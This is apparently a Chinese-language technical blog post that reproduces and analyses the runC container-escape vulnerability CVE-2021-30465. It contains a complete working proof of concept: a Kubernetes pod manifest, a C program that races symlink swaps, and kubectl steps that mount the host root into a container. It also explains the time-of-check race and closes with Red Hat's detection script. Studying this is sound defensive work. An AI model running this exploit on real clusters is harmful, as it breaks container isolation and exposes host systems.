【容器】CVE-2021-30465 runC逃逸漏洞分析复现

CVE-2021-30465 runC逃逸漏洞

POC

  1. 搭建k8s环境。

  2. 创建20个(可以更多,实验效果会更明显)容器,其中一个为正常容器c1,其余多个都是无法正常启动的容器(可以直接用donotexists.com/do/not:exist)容器c2~c20。

    以及创建两个volume数据卷test1和test2,分别挂载在各个容器中。env.yaml文件:

    apiVersion: v1
    kind: Pod
    metadata:
        name: attack
    spec:
        terminationGracePeriodSeconds: 1
        containers:
        - name: c1
          image: ubuntu:latest
          command: [ "/bin/sleep", "inf" ]
          env:
              - name: MY_POD_UID
                valueFrom:
                  fieldRef:
                    fieldPath: metadata.uid
          volumeMounts:
            - name: test1
              mountPath: /test1
            - name: test2
              mountPath: /test2
        - name: c2
          image: donotexists.com/do/not:exist
          command: [ "/bin/sleep", "inf" ]
          volumeMounts:
            - name: test1
              mountPath: /test1
            - name: test2
              mountPath: /test1/mnt1
            - name: test2
              mountPath: /test1/mnt2
            - name: test2
              mountPath: /test1/mnt3
            - name: test2
              mountPath: /test1/mnt4
            - name: test2
              mountPath: /test1/zzz
        - name: c3
          image: donotexists.com/do/not:exist
          command: [ "/bin/sleep", "inf" ]
          volumeMounts:
            - name: test1
              mountPath: /test1
            - name: test2
              mountPath: /test1/mnt1
            - name: test2
              mountPath: /test1/mnt2
            - name: test2
              mountPath: /test1/mnt3
            - name: test2
              mountPath: /test1/mnt4
            - name: test2
              mountPath: /test1/zzz
        
        ...省略c4~c20...
        
        volumes:
        - name: test1
          emptyDir:
            medium: "Memory"
        - name: test2
          emptyDir:
            medium: "Memory"
    
    
  3. 准备一个C程序race.c,编译成race二进制文件,gcc race.c -03 -o race

    #define _GNU_SOURCE
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    
    /* musl libc does not define RENAME_EXCHANGE */
    #ifndef RENAME_EXCHANGE
    #define RENAME_EXCHANGE 2
    #endif
    
    int main(int argc, char *argv[]) {
        if (argc != 4) {
            fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
            exit(EXIT_FAILURE);
        }
        char *name1 = argv[1];
        char *name2 = argv[2];
        char *linkdest = argv[3];
    
        int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
        if (dirfd < 0) {
            perror("Error open CWD");
            exit(EXIT_FAILURE);
        }
    
        if (mkdir(name1, 0755) < 0) {
            perror("mkdir failed");
            //do not exit
        }
        if (symlink(linkdest, name2) < 0) {
            perror("symlink failed");
            //do not exit
        }
    
        while (1)
        {
            int rc = syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
        }
    }
    
  4. 将yaml编排好的配置项启动,kubectl apply -f env.yaml

  5. 等待容器启动,kubectl get pods,会发现只有一个pod正常启动:

  1. 将race copy到c1中。

    kubectl cp race -c c1 attack:/test1/
    
  2. 在c1中生成/test2/test2链接文件,指向根目录/(这里软连接的文件名务必和数据卷名字相同)。

    kubectl exec -ti pod/attack -c c1 -- bash
    ln -s / /test2/test2
    
  3. 在c1容器中启动race程序

    cd test1
    seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
    

    在这里的作用是启动四个进程,创建mnt-tmpX软连接,指向/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/,然后通过系统调用renameat2不断交换mntXmnt-tmpX两个文件。

  4. 然后将原先c2-c20的容器镜像设置回一个正常的容器镜像即可(即让c2-c20容器正常启动)

    for c in {2..20}; do
      kubectl set image pod attack c$c=ubuntu:latest
    done
    

稍等后,然后kubectl get pods可以看到所有pod正常启动:

  1. 此时查看所有容器的/test1/zzz目录,会发现有部分容器指向宿主机根目录,逃逸成功。

    for c in {2..20}; do
      echo ~~ Container c$c ~~
      kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
    done
    

漏洞分析

容器去挂载卷时,是由容器引擎去管理的,本漏洞的容器引擎是runC,即对应卷的所有权交给了容器引擎。

CVE-2021-30465就是因为runC没有处理好卷下面的资源竞争而导致的。

当挂载一个volume数据卷时,runC会信任源文件,会让内核跟随符号链接到指定的文件位置,但runC不信任目标文件参数,会调用filepath-securejoin库去解析符号链接,确保目标文件在容器的根文件系统内。SecureJoinVFS()文档解释道,只有确保要check的文件不会被符号链接所替换,该方法才是安全的,但是问题就是我们可以进行替换。

runC是通过一个securejoin.SecureJoinVFS()函数,先对要挂载的目录进行check,然后再进行mount操作,而在这期间就会产生一个时间差,从而产生条件竞争(TOCTTOU, time-of-check-to-time-of-use),也就是说,在check一个合法文件时,文件被替换成非法文件,那么这个check结束后,非法文件会被mount。在这里可能会发生跟随软链接的行为,将宿主机上的目录挂载至容器,从而产生逃逸。

TOCTTOU:先检查某个前置条件,然后介于这个前置条件进行某项操作,但是在检查和操作的时间间隔内条件可能被改变。通常发生在多线程在处理某个非原子操作的过程。

POC分析

在创建pod时可以创建卷,例如emptydir类型的卷,其和pod的生命周期一样,pod中所有容器都可以共享该卷,卷会存储在宿主机的/var/lib/kubelet/pods/podsid/volumes/kubenetes.io~empty-dir/下,例如:

该pod中所有容器可以通关挂载这些卷来共享数据。

首先用k8s创建一个pod,共包含20个容器(c1~c20)和两个volume(test1、test2),c1是一个可以正常启动的容器,c2~c20都是故障容器,无法正常启动。

  1. c1正常挂载volume test1和test2分别到/test1/test2下,然后利用race程序创建若干个正常文件mnt和若干个指向/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/的软连接文件mnt-tmp,然后程序while true不断交换mntmnt-tmp。另外在/test2下创建名为test2的软连接指向/

    在创建pod时会为每个pod生成一个PID_UID,并为每个pod创建一个目录/var/lib/kubelet/pods/podId,而pod中创建的每个容器都会默认注入一个环境变量MY_POD_UID,即当前所属pod的id。

    另外为pod创建的卷(以empty-dir类型的卷为例)默认会存在node宿主机的/var/lib/kubelet/pods/podId/volumes/kubenetes.io~empty-dir/下。

    宿主机文件系统上的文件看起来是这样的:

    /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt1
    /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp1 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
    /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt2 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
    /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp2
    ...
    /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /
    
  2. 然后再其余容器正常启动时,就会先去挂载test1数据卷到/test1目录下,然后挂载test2到/test1/mnt/下。

    此过程中c1是不断交换容器的/test1/mnt/test1/mnt-tmp

    因此其它容器在将卷test2挂载至/test1/mnt时,首先进行securejoin.SecureJoinVFS检查mnt,它是一个正常的文件目录,而当进行mount操作,mntx被替换成了一个指向/var/lib/kubelet/pods/podId/volumes/kubenetes.io~empty-dir/的软连接。

    所以本来要进行的操作:

    mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", 
    "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt")
    

    跟随软连接后就变为了

    mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2",
    "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/")
    

    即相当于将卷test2的内容直接挂载在了/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/,即卷test2覆盖了该目录,因此再挂载test2数据卷到test1/zzz目录时,就会进行如下操作:

    mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz")
    

    由于之前c1容器创建了/test2/test2指向根目录,因此这里的/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/下的test2其实就是一个指向当前宿主机根目录的软链接(这也是为什么要创建和数据卷同名的软链接文件),即:

    /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> /
    

    于是以上操作就变成了。

    mount("/", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz")
    

    从而将宿主机根目录挂载到了容器的/test1/zzz中,实现了容器逃逸。

总结

该漏洞的关键点在于runC在挂载数据卷时去check文件时不能保证文件不被符号链接所替换,如果被换掉那么挂载的目标文件可以指定为宿主机上的任意位置。

该POC的关键点在于,k8s挂载时不能指定源,但可以决定目标,那么就可以创建设计好的符号链接,作为后面容器挂载的新源,从而实现逃逸。

漏洞检测脚本

#!/bin/bash

# Copyright (c) 2021  Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.

VERSION="1.0"

# Warning! Be sure to download the latest version of this script from its primary source:

BULLETIN="https://access.redhat.com/security/vulnerabilities/RHSB-2021-004"

# DO NOT blindly trust any internet sources and NEVER do `curl something | bash`!

# This script is meant for simple detection of the vulnerability. Feel free to modify it for your
# environment or needs. For more advanced detection, consider Red Hat Insights:
# https://access.redhat.com/products/red-hat-insights#getstarted

# Checking against the list of vulnerable packages is necessary because of the way how features
# are back-ported to older versions of packages in various channels.

VULNERABLE_VERSIONS=(
    'runc-0.0.8-1.git4155b68.el7'
    'runc-0.1.0-3.el7'
    'runc-0.1.1-4.el7'
    'runc-0.1.1-5.el7'
    'runc-1.0.0-1.rc2.el7'
    'runc-1.0.0-3.rc2.el7'
    'runc-1.0.0-6.gite800860.el7'
    'runc-1.0.0-12.1.gitf8ce01d.el7'
    'runc-1.0.0-14.rc4dev.git84a082b.el7'
    'runc-1.0.0-21.rc4.dev.gitaea4f21.el7'
    'runc-1.0.0-23.rc4.dev.git1d3ab6d.el7'
    'runc-1.0.0-24.rc4.dev.gitc6e4a1e.el7'
    'runc-1.0.0-26.rc4.dev.git9f9c962.el7'
    'runc-1.0.0-27.rc5.dev.git4bb1fe4.el7'
    'runc-1.0.0-37.rc5.dev.gitad0f525.el7'
    'runc-1.0.0-52.dev.git70ca035.el7_5'
    'runc-1.0.0-54.dev.git2abd837.el7'
    'runc-1.0.0-57.dev.git2abd837.el7'
    'runc-1.0.0-59.dev.git2abd837.el7'
    'runc-1.0.0-64.rc8.el7'
    'runc-1.0.0-64.rc9.el7'
    'runc-1.0.0-65.rc8.el7'
    'runc-1.0.0-66.rc8.el7_7'
    'runc-1.0.0-66.rc10.rhaos4.3.el7_8'
    'runc-1.0.0-67.rc10.el7_8'
    'runc-1.0.0-67.rc10.rhaos4.2.el7_8'
    'runc-1.0.0-67.rc10.rhaos4.3.el7'
    'runc-1.0.0-68.rc10.el7_8'
    'runc-1.0.0-68.rc10.rhaos4.4.el7_8'
    'runc-1.0.0-69.rhaos4.4.git81f3917.el7'
    'runc-1.0.0-70.rhaos4.5.gite677e8b.el7'
    'runc-1.0.0-71.rhaos4.5.git5101761.el7'
    'runc-1.0.0-73.rhaos4.5.gitd2c3b70.el7'
    'runc-1.0.0-81.rhaos4.6.git5b757d4.el7'
    'runc-1.0.0-82.rhaos4.6.git086e841.el7'
    'runc-1.0.0-83.rhaos4.6.git8c2e7c8.el7'
    'runc-1.0.0-84.rhaos4.6.git7116f03.el7'
    'runc-1.0.0-85.rhaos4.6.git77a6f3c.el7'
    'runc-1.0.0-57.rc5.rhaos4.1.git2abd837.el8'
    'runc-1.0.0-60.rc8.rhaos4.1.git3cbe540.el8'
    'runc-1.0.0-61.rc8.rhaos4.1.git3cbe540.el8'
    'runc-1.0.0-61.rc8.rhaos4.2.git3cbe540.el8'
    'runc-1.0.0-62.rc8.rhaos4.1.git3cbe540.el8'
    'runc-1.0.0-63.rc8.el8'
    'runc-1.0.0-63.rc8.rhaos4.1.git3cbe540.el8_0'
    'runc-1.0.0-63.rc10.rhaos4.2.gitdc9208a.el8'
    'runc-1.0.0-64.rc9.el8'
    'runc-1.0.0-65.rc10.rhaos4.3.el8'
    'runc-1.0.0-65.rc10.rhaos4.4.el8'
    'runc-1.0.0-67.rc10.rhaos4.2.el8'
    'runc-1.0.0-67.rc10.rhaos4.3.el8'
    'runc-1.0.0-68.rc10.rhaos4.4.el8'
    'runc-1.0.0-69.rhaos4.4.git81f3917.el8'
    'runc-1.0.0-70.rhaos4.5.gite677e8b.el8'
    'runc-1.0.0-71.rhaos4.5.git5101761.el8'
    'runc-1.0.0-72.rhaos4.5.giteadfc6b.el8'
    'runc-1.0.0-73.rhaos4.5.gitd2c3b70.el8'
    'runc-1.0.0-81.rhaos4.6.git5b757d4.el8'
    'runc-1.0.0-82.rhaos4.6.git086e841.el8'
    'runc-1.0.0-83.rhaos4.6.git8c2e7c8.el8'
    'runc-1.0.0-84.rhaos4.6.git7116f03.el8'
    'runc-1.0.0-85.rhaos4.6.git77a6f3c.el8'
    'runc-1.0.0-54.rc5.dev.git2abd837.module+el8+2769+577ad176'
    'runc-1.0.0-55.rc5.dev.git2abd837.module+el8+2794+c81bb0a1'
    'runc-1.0.0-55.rc5.dev.git2abd837.module+el8.0.0+2956+30df4692'
    'runc-1.0.0-55.rc5.dev.git2abd837.module+el8.0.0+3049+59fd2bba'
    'runc-1.0.0-55.rc5.dev.git2abd837.module+el8.0.0+4014+8662b6b2'
    'runc-1.0.0-55.rc5.dev.git2abd837.module+el8.0.0.z+3525+56c076c3'
    'runc-1.0.0-55.rc5.dev.git2abd837.module+el8.1.0+3468+011f0ab0'
    'runc-1.0.0-56.rc5.dev.git2abd837.module+el8.1.0+4908+72a45cef'
    'runc-1.0.0-56.rc5.dev.git2abd837.module+el8.2.0+6370+6fb6c8ca'
    'runc-1.0.0-56.rc5.dev.git2abd837.module+el8.3.0+7197+26156b7d'
    'runc-1.0.0-56.rc5.dev.git2abd837.module+el8.3.0+8236+8e428216'
    'runc-1.0.0-56.rc5.dev.git2abd837.module+el8.3.0+10171+12421f43'
    'runc-1.0.0-56.rc8.dev.git425e105.module+el8.0.0+4017+bbba319f'
    'runc-1.0.0-60.rc8.module+el8.1.0+4081+b29780af'
    'runc-1.0.0-61.rc8.module+el8.1.0+4873+4a24e241'
    'runc-1.0.0-64.rc9.module+el8.1.1+5259+bcdd613a'
    'runc-1.0.0-64.rc10.module+el8.2.0+5728+ac3aae00'
    'runc-1.0.0-64.rc10.module+el8.2.0+6369+1f4293b4'
    'runc-1.0.0-64.rc10.module+el8.2.0+7659+b700d80e'
    'runc-1.0.0-64.rc10.module+el8.2.0+9347+d4fa9cbb'
    'runc-1.0.0-64.rc10.module+el8.2.0+9938+46853747'
    'runc-1.0.0-64.rc10.module+el8.3.0+7385+02cfa547'
    'runc-1.0.0-64.rc10.module+el8.3.0+7660+b7198318'
    'runc-1.0.0-64.rc10.module+el8.3.0+7842+fbbcd85c'
    'runc-1.0.0-64.rc10.module+el8.3.0+8233+627fbb78'
    'runc-1.0.0-64.rc10.module+el8.3.0+8377+eff33c85'
    'runc-1.0.0-64.rc10.module+el8.3.0+9348+d780f094'
    'runc-1.0.0-64.rc10.module+el8.3.0+10188+4c10031c'
    'runc-1.0.0-64.rc10.module+el8.4.0+9935+d4945f3f'
    'runc-1.0.0-64.rc10.module+el8.4.0+10193+e90fd8eb'
    'runc-1.0.0-65.rc10.module+el8.2.0+5762+aaee29fb'
    'runc-1.0.0-65.rc10.module+el8.2.0+6368+cf16aa14'
    'runc-1.0.0-66.rc10.module+el8.2.1+6465+1a51e8b6'
    'runc-1.0.0-66.rc10.module+el8.3.0+7084+c16098dd'
    'runc-1.0.0-68.rc92.module+el8.3.0+7635+9a181104'
    'runc-1.0.0-68.rc92.module+el8.3.0+7716+ce654703'
    'runc-1.0.0-68.rc92.module+el8.3.0+7843+7fef9496'
    'runc-1.0.0-68.rc92.module+el8.3.0+8221+97165c3f'
    'runc-1.0.0-70.rc92.module+el8.3.1+9857+68fb1526'
    'runc-1.0.0-70.rc92.module+el8.4.0+10197+7c295612'
    'runc-1.0.0-70.rc92.module+el8.4.0+10198+36d1d0e3'
    'runc-1.0.0-70.rc92.module+el8.4.0+10607+f4da7515'
    'runc-1.0.0-70.rc92.module+el8.4.0+10614+dd38312c'
    'docker-0.10.0-9.el7'
    'docker-0.11.1-19.el7'
    'docker-0.11.1-22.el7'
    'docker-1.1.2-9.el7'
    'docker-1.1.2-13.el7'
    'docker-1.2.0-1.8.el7'
    'docker-1.3.2-4.el7'
    'docker-1.4.1-37.el7'
    'docker-1.5.0-27.el7'
    'docker-1.5.0-28.el7'
    'docker-1.6.0-11.el7'
    'docker-1.6.2-8.el7'
    'docker-1.6.2-14.el7'
    'docker-1.7.1-108.el7'
    'docker-1.7.1-115.el7'
    'docker-1.8.2-7.el7'
    'docker-1.8.2-8.el7'
    'docker-1.8.2-10.el7'
    'docker-1.9.1-25.el7'
    'docker-1.9.1-40.el7'
    'docker-1.10.3-44.el7'
    'docker-1.10.3-46.el7.10'
    'docker-1.10.3-46.el7.14'
    'docker-1.10.3-57.el7'
    'docker-1.10.3-59.el7'
    'docker-1.12.5-14.el7'
    'docker-1.12.6-11.el7'
    'docker-1.12.6-16.el7'
    'docker-1.12.6-28.git1398f24.el7'
    'docker-1.12.6-32.git88a4867.el7'
    'docker-1.12.6-48.git0fdc778.el7'
    'docker-1.12.6-55.gitc4618fb.el7'
    'docker-1.12.6-61.git85d7426.el7'
    'docker-1.12.6-68.gitec8512b.el7'
    'docker-1.12.6-71.git3e8e77d.el7'
    'docker-1.12.6-79.git5680db5.el7'
    'docker-1.13.1-53.git774336d.el7'
    'docker-1.13.1-58.git87f2fab.el7'
    'docker-1.13.1-63.git94f4240.el7'
    'docker-1.13.1-68.gitdded712.el7'
    'docker-1.13.1-74.git6e3bb8e.el7'
    'docker-1.13.1-75.git8633870.el7_5'
    'docker-1.13.1-84.git07f3374.el7'
    'docker-1.13.1-88.git07f3374.el7'
    'docker-1.13.1-90.git07f3374.el7'
    'docker-1.13.1-91.git07f3374.el7'
    'docker-1.13.1-94.gitb2f74b2.el7'
    'docker-1.13.1-96.gitb2f74b2.el7'
    'docker-1.13.1-102.git7f2769b.el7'
    'docker-1.13.1-103.git7f2769b.el7'
    'docker-1.13.1-104.git4ef4b30.el7'
    'docker-1.13.1-108.git4ef4b30.el7'
    'docker-1.13.1-109.gitcccb291.el7_7'
    'docker-1.13.1-161.git64e9980.el7_8'
    'docker-1.13.1-162.git64e9980.el7_8'
    'docker-1.13.1-203.git0be3e21.el7_9'
    'docker-1.13.1-204.git0be3e21.el7_9'
    'docker-1.13.1-205.git7d71120.el7_9'
    'docker-latest-1.10.3-22.el7'
    'docker-latest-1.10.3-44.el7'
    'docker-latest-1.10.3-46.el7.10'
    'docker-latest-1.12.1-2.el7'
    'docker-latest-1.12.1-3.el7'
    'docker-latest-1.12.3-10.el7'
    'docker-latest-1.12.5-14.el7'
    'docker-latest-1.12.6-11.el7'
    'docker-latest-1.13.1-4.el7'
    'docker-latest-1.13.1-11.git3a17ad5.el7'
    'docker-latest-1.13.1-13.gitb303bf6.el7'
    'docker-latest-1.13.1-21.1.gitcd75c68.el7'
    'docker-latest-1.13.1-23.git28ae36d.el7'
    'docker-latest-1.13.1-26.git1faa135.el7'
    'docker-latest-1.13.1-36.git9a813fa.el7'
    'docker-latest-1.13.1-37.git9a813fa.el7'
    'docker-latest-1.13.1-53.git774336d.el7'
    'docker-latest-1.13.1-58.git87f2fab.el7'
)

basic_args() {
    # Parses basic commandline arguments and sets basic environment.
    #
    # Args:
    #     parameters - an array of commandline arguments
    #
    # Side effects:
    #     Exits if --help parameters is used
    #     Sets COLOR constants and debug variable

    local parameters=( "$@" )

    RED="\\033[1;31m"
    GREEN="\\033[1;32m"
    BOLD="\\033[1m"
    RESET="\\033[0m"
    for parameter in "${parameters[@]}"; do
        if [[ "$parameter" == "-h" || "$parameter" == "--help" ]]; then
            echo "Usage: $( basename "$0" ) [-n | --no-colors] [-d | --debug]"
            exit 1
        elif [[ "$parameter" == "-n" || "$parameter" == "--no-colors" ]]; then
            RED=""
            GREEN=""
            BOLD=""
            RESET=""
        elif [[ "$parameter" == "-d" || "$parameter" == "--debug" ]]; then
            debug=true
        fi
    done
}


basic_reqs() {
    # Prints common disclaimer and checks basic requirements.
    #
    # Args:
    #     CVE - string printed in the disclaimer
    #
    # Side effects:
    #     Exits when 'rpm' command is not available

    local CVE="$1"

    # Disclaimer
    echo
    echo -e "${BOLD}This script (v$VERSION) is primarily designed to detect $CVE on supported"
    echo -e "Red Hat Enterprise Linux systems and kernel packages."
    echo -e "Result may be inaccurate for other RPM based systems."
    echo -e "Result may be inaccurate for affected RPM packages not compiled by Red Hat.${RESET}"
    echo

    # RPM is required
    if ! command -v rpm &> /dev/null; then
        echo "'rpm' command is required, but not installed. Exiting."
        exit 1
    fi
}


check_supported_kernel() {
    # Checks if running kernel is supported.
    #
    # Args:
    #     running_kernel - kernel string as returned by 'uname -r'
    #
    # Side effects:
    #     Exits when running kernel is obviously not supported

    local running_kernel="$1"

    # Check supported platform
    if [[ "$running_kernel" != *".el"[7-8]* ]]; then
        echo -e "${RED}This script is meant to be used only on RHEL 7 and 8.${RESET}"
        echo
        echo -e "Follow $BULLETIN for advice."
        exit 1
    fi
}


check_package() {
    # Checks if installed package is in list of vulnerable packages.
    #
    # Args:
    #     installed_packages - installed packages string as returned by 'rpm -qa package'
    #                          (may be multiline)
    #     vulnerable_versions - an array of vulnerable versions
    #
    # Prints:
    #     First vulnerable package string as returned by 'rpm -qa package', or nothing

    # Convert to array, use word splitting on purpose
    # shellcheck disable=SC2206
    local installed_packages=( $1 )
    shift
    local vulnerable_versions=( "$@" )

    for tested_package in "${vulnerable_versions[@]}"; do
        for installed_package in "${installed_packages[@]}"; do
            installed_package_without_arch="${installed_package%.*}"
            if [[ "$installed_package_without_arch" == "$tested_package" ]]; then
                echo "$installed_package"
                return 0
            fi
        done
    done
}


get_installed_packages() {
    # Checks for installed packages. Compatible with RHEL5.
    #
    # Args:
    #     package_names - an array of package name strings
    #
    # Prints:
    #     Lines with N-V-R.A strings of the installed packages.

    local package_names=( "$@" )

    rpm -qa --queryformat="%{NAME}-%{VERSION}-%{RELEASE}.%{ARCH}\n" "${package_names[@]}"
}


get_installed_package_names() {
    # Checks for installed packages and returns the names of the installed packages. Compatible with RHEL5.
    #
    # Args:
    #     package_names - an array of package name strings
    #
    # Prints:
    #     Lines with the names of the installed packages.

    local package_names=( "$@" )

    rpm -qa --queryformat="%{NAME}\n" "${package_names[@]}" | uniq
}


parse_facts() {
    # Gathers all available information and stores it in global variables. Only store facts and
    # do not draw conclusion in this function for better maintainability.
    #
    # Side effects:
    #     Sets many global boolean flags and content variables

    installed_runc=$( get_installed_packages "runc" )
    installed_docker=$( get_installed_packages "docker" )
    installed_docker_latest=$( get_installed_packages "docker-latest" )

}

draw_conclusions() {
    # Draws conclusions based on available system data.
    #
    # Side effects:
    #     Sets many global boolean flags and content variables

    vulnerable_runc=$( check_package "$installed_runc" "${VULNERABLE_VERSIONS[@]}" )
    vulnerable_docker=$( check_package "$installed_docker" "${VULNERABLE_VERSIONS[@]}" )
    vulnerable_docker_latest=$( check_package "$installed_docker_latest" "${VULNERABLE_VERSIONS[@]}" )

    result=0
    if [[ "$vulnerable_runc" ]]; then
        (( result |= 2 ))
    fi
    if [[ "$vulnerable_docker" ]]; then
        (( result |= 4 ))
    fi
    if [[ "$vulnerable_docker_latest" ]]; then
        (( result |= 8 ))
    fi
}


debug_print() {
    # Prints selected variables when debugging is enabled.

    variables=( installed_runc installed_docker installed_docker_latest
                vulnerable_runc vulnerable_docker vulnerable_docker_latest
                running_kernel rhel result )
    for variable in "${variables[@]}"; do
        echo "$variable = *${!variable}*"
    done
    echo
}



if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then
    basic_args "$@"
    basic_reqs "CVE-2021-30465"
    running_kernel=$( uname -r )
    check_supported_kernel "$running_kernel"

    parse_facts
    draw_conclusions

    # Debug prints
    if [[ "$debug" ]]; then
        debug_print
    fi

    sentence_end="."
    if [[ "$installed_runc" || "$installed_docker" || "$installed_docker_latest" ]]; then
        echo "Detected packages:"
        sentence_end=":"
    fi
    if [[ "$installed_runc" ]]; then
        echo -e "* Detected 'runc' package: ${BOLD}$installed_runc${RESET}"
    else
        echo "* Package 'runc' not installed."
    fi
    if [[ "$installed_docker" ]]; then
        echo -e "* Detected 'docker' package: ${BOLD}$installed_docker${RESET}"
    else
        echo "* Package 'docker' not installed."
    fi
    if [[ "$installed_docker_latest" ]]; then
        echo -e "* Detected 'docker-latest' package: ${BOLD}$installed_docker_latest${RESET}"
    else
        echo "* Package 'docker-latest' not installed."
    fi

    echo
    if (( result )); then
        echo -e "${RED}This system is vulnerable:${RESET}"
    else
        echo -e "${GREEN}This system is not vulnerable${sentence_end}${RESET}"
    fi

    if [[ "$installed_runc" ]]; then
        if [[ "$vulnerable_runc" ]]; then
            echo -e "* 'runc' package is ${RED}vulnerable${RESET}"
        else
            echo -e "* 'runc' package is ${GREEN}NOT vulnerable${RESET}"
        fi
    fi

    if [[ "$installed_docker" ]]; then
        if [[ "$vulnerable_docker" ]]; then
            echo -e "* 'docker' package is ${RED}vulnerable${RESET}"
        else
            echo -e "* 'docker' package is ${GREEN}NOT vulnerable${RESET}"
        fi
    fi

    if [[ "$installed_docker_latest" ]]; then
        if [[ "$vulnerable_docker_latest" ]]; then
            echo -e "* 'docker-latest' package is ${RED}vulnerable${RESET}"
        else
            echo -e "* 'docker-latest' package is ${GREEN}NOT vulnerable${RESET}"
        fi
    fi

    if [[ ! "$vulnerable_runc" && ! "$vulnerable_docker" && ! "$vulnerable_docker_latest" ]]; then
        echo
        echo -e "There are ${GREEN}NO vulnerable packages${RESET} installed."
    fi

    echo
    echo -e "Follow $BULLETIN for advice."

    exit "$result"
fi